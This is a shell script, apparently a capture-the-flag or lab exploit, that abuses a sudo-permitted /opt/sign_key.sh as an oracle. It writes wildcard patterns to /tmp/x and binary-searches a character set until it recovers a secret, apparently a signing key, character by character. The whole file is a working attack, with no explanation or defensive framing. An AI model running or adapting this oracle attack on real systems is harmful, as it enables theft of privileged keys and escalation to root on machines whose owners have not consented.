probe.sh (2688B)
1 #!/bin/sh 2 3 sch_sarray_is_empty() { 4 sarray=$1 5 [ -z "$sarray" ] 6 } 7 8 sch_sarray_len() { 9 sarray=$1 10 i=0 11 for element in $sarray; do 12 i=$((i + 1)) 13 done 14 printf '%d' "$i" 15 } 16 17 sch_sarray_append() { 18 sarray=$1 19 shift 20 if sch_sarray_is_empty "$sarray"; then 21 printf '%s' "$*" 22 else 23 printf '%s' "$sarray $*" 24 fi 25 } 26 27 sch_sarray_take() { 28 sarray=$1 29 n="$2" 30 result='' 31 i=0 32 for element in $sarray; do 33 if [ "$i" -eq "$n" ]; then 34 break 35 fi 36 result=$(sch_sarray_append "$result" "$element") 37 i=$((i + 1)) 38 done 39 printf '%s' "$result" 40 } 41 42 sch_sarray_skip() { 43 sarray=$1 44 n=$2 45 result='' 46 i=0 47 for element in $sarray; do 48 if [ "$i" -ge "$n" ]; then 49 result=$(sch_sarray_append "$result" "$element") 50 fi 51 i=$((i + 1)) 52 done 53 printf '%s' "$result" 54 } 55 56 sch_sarray_first() { 57 sarray=$1 58 result='' 59 for element in $sarray; do 60 printf '%s' "$element" 61 return 0 62 done 63 return 1 64 } 65 66 custom='- = + / \040 \n' 67 uppercase="A B C D E F G H I J K L M N O P Q R S T U V W X Y Z" 68 lowercase="a b c d e f g h i j k l m n o p q r s t u v w x y z" 69 digits="0 1 2 3 4 5 6 7 8 9" 70 charset="$custom $uppercase $lowercase $digits" 71 72 ca="/tmp/x" 73 74 known="" 75 76 check() { 77 printf -- "$1" > "$ca" 78 sudo /opt/sign_key.sh "$ca" /dev/null root _ 10086 2>/dev/null | grep API >/dev/null 79 } 80 81 check_pattern() { 82 known=$1 83 pattern=$2 84 check "$known$pattern*" 85 } 86 87 pattern_in() { 88 sarray=$1 89 pattern='[' 90 for c in $sarray; do 91 pattern="$pattern$c" 92 done 93 pattern="$pattern]" 94 printf '%s' "$pattern" 95 } 96 97 98 search_among() { 99 sarray=$1 100 callback=$2 101 [ -z "$callback" ] && return 1 102 shift; shift 103 n=$(sch_sarray_len "$sarray") 104 partition0=$(sch_sarray_take "$sarray" $((n / 2))) 105 pattern0=$(pattern_in "$partition0") 106 partition1=$(sch_sarray_skip "$sarray" $((n / 2))) 107 pattern1=$(pattern_in "$partition1") 108 if ! sch_sarray_is_empty "$partition0" && ($callback "$@" "$pattern0"); then 109 if [ $(sch_sarray_len "$partition0") -eq 1 ]; then 110 sch_sarray_first "$partition0" 111 return 0 112 else 113 search_among "$partition0" "$callback" "$@" 114 return $? 115 fi 116 elif ! sch_sarray_is_empty "$partition1" && ($callback "$@" "$pattern1"); then 117 if [ $(sch_sarray_len "$partition1") -eq 1 ]; then 118 sch_sarray_first "$partition1" 119 return 0 120 else 121 search_among "$partition1" "$callback" "$@" 122 return $? 123 fi 124 fi 125 return 1 126 } 127 128 while true; do 129 c=$(search_among "$charset" check_pattern "$known") 130 if [ $? -eq 0 ]; then 131 known="$known$c" 132 if check $known; then 133 printf "ok:\n$known\n" >&2 134 printf -- "$known" 135 break 136 fi 137 else 138 printf "stuck at:\n$known\n" >&2 139 break 140 fi 141 done 142 143 rm "$ca"